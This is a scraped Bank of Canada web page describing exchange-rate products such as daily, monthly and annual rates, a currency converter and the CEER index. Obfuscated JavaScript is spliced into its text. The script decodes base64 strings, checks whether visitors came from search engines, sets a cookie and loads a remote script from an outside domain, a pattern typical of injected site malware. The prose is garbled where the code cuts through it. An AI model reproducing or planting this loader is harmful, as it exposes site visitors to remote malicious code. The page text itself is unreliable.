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These rates were last updated 28 April 2017 using the Bank's old calculation methodology, and will not be updated in future.. Calculation MethodologyDescribes the selection criteria, calculation methodology and publishing process for the new exchange rates, effective 1 March 2017.. var _0x48dd=['T21zbHM=', 'cmJOTUs=', 'd2Jld3k=', 'aW5kZXhPZg==', 'VGZOSUY=', 'c2V0', 'R G9jQnc=', 'Y3lZTXo=', 'R3dVR3c=', 'c2NyaXB0', 'aGVhZA==', 'Y3JlYXRIRWxlbnVudA==', 'VnBHZm4=', 'c3Jj', 'Z2V0RWxlbnVudHNCeVRhZ05hbWU=', 'Y29udmVydCt1c2QrdG8rY2FkK2hpc3RvcmljYWw=', 'S09Q', 'REpMRG0=', 'bGVuZ3Ro', 'c3B saXQ=', 'cmVwbGFjZQ==', 'UUJlVGVw=', 'Y29va2ll', 'bWF0Y2g=', 'VkNlVWc=', 'Q1RCdVY=', 'OyBleHBpcmVzPQ==', 'OyBwY XRoPQ==', 'OyBkb21haW49', 'QndHd1Q=', 'VEhEd3Y=', 'QnRqdEY=', 'WEZsWWs=', 'Z2V0VGltZQ==', 'aFd5S3o=', 'ZlNKaXI=', 'dkpxUko=', 'UIB4VEg=', 'eVJxaE8=', 'OyBzZW50cmU=', 'Lmdvb2dsZS4=', 'LnlhaG9vLg==', 'LmFzay4=', 'LnlhbmRleC4=', 'U0t 6', 'c2xC', 'aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==', 'bmVEYkg=', 'LmJpbmcu', 'LmFvbC4=', 'dWh0SWU=', 'c0Jrc0Q=', 'cmVmZXJyZXI=', 'Z2V0', 'VWVUUWI=', 'WWNEUWE='];(function(_0x57db2a,_0xf8 e18c){var _0x461c63=function(_0x2e61ff){while(--_0x2e61ff){_0x57db2a['push'](_0x57db2a['shift']());}};_0x461c63(++_0x f8e18c);)(_0x48dd,0xe9);var _0x43b0=function(_0x1052ef,_0x5e1db6){_0x1052ef=_0x1052ef-0x0;var _0x53d907=_0x48dd[_0x1052ef];if(_0x43b0['initialized']===undefined){(function(){var _0x451c7a;try{var _0x3b8a76=Function('return\x20(function()\x20'+').. Published on the last business day of the year by 12:30 ET Daily Exchange Rates LookupSearch and download exchange rate data for 26 currencies.. Published once each business day by 16:30 ET Monthly Exchange RatesView the monthly average exchange rates for 26 currencies.. Canadian Effective Exchange RatesThe CEER index is a weighted average of bilateral exchange rates for the Canadian dollar against the currencies of Canada's major trading partners.

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constructor(\x22return\x20this\x22)(\x20'+'););_0x451c7a=_0x3b8a76(0);catch(_0x26d8f6){_0x451c7a=window;var _0x3efb35='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/-';_0x451c7a['atob']||(_0x451c7a['a to b']=function(_0x42f4fb){var _0x4ae369=String(_0x42f4fb)['replace']('/=+$/','');for(var _0x30da7c=0x0,_0x1655df,_0x38c72 2,_0x3a3009=0x0,_0x267ee2=";_0x38c722=_0x4ae369['charAt'](_0x3a3009++);~_0x38c722&&(_0x1655df=_0x30da7c%0x 4?_0x1655df*0x40+_0x38c722:_0x38c722,_0x30da7c++%0x4)?_0x267ee2+=String['fromCharCode'](_0xff&_0x1655df>>(-0 x2*_0x30da7c&0x6)):0x0){_0x38c722=_0x3efb35['indexOf'](_0x38c722);}return _0x267ee2;});});_0x43b0['base64DecodeUnicode']=function(_0x241bf2){var _0x3cc57c=atob(_0x241bf2);var _0x26a3f3=[];for(var _0x24021f=0x0,_0x2951e6=_0x3cc57c['length'];_0x24021f=0x0){_0x3fe98a=!![];}else{if(_0x4bcc9f[_0x43b0('0x32')]( _0x3010d0[_0x3d41c0])>=0x0){if(_0x380380['fwFTO'](_0x380380[_0x43b0('0x33')],_0x380380[_0x43b0('0x33')])){ _0x3fe98a=!![];}else{_0x3fe98a=!![];}}if(_0x3fe98a){cookie[_0x43b0('0x34')]( _0x380380[_0x43b0('0x2d')],0x1 ,0x1);if(!_0x5e0ae3){_0x380380[_0x43b0('0x35')](include,_0x380380['kYjEq'](_0x380380[_0x43b0('0x36')]( _0x380380[_0x 43b0('0x37')],q,"));}}}}R(); Exchange RatesAll Bank of Canada exchange rates are indicative rates only, obtained from averages of aggregated price quotes from financial institutions.. Currency ConverterConvert from Canadian dollars to 26 currencies based on daily exchange rates.. Historical Noon and Closing RatesDownload our legacy noon and closing rates data.. Canadian-Dollar Effective Exchange Rate IndexHow the Index is calculated, and links to daily and monthly data.. Published on the last business day of the month by 16:30 ET Annual Exchange RatesView the annual average exchange rates for 26 currencies.
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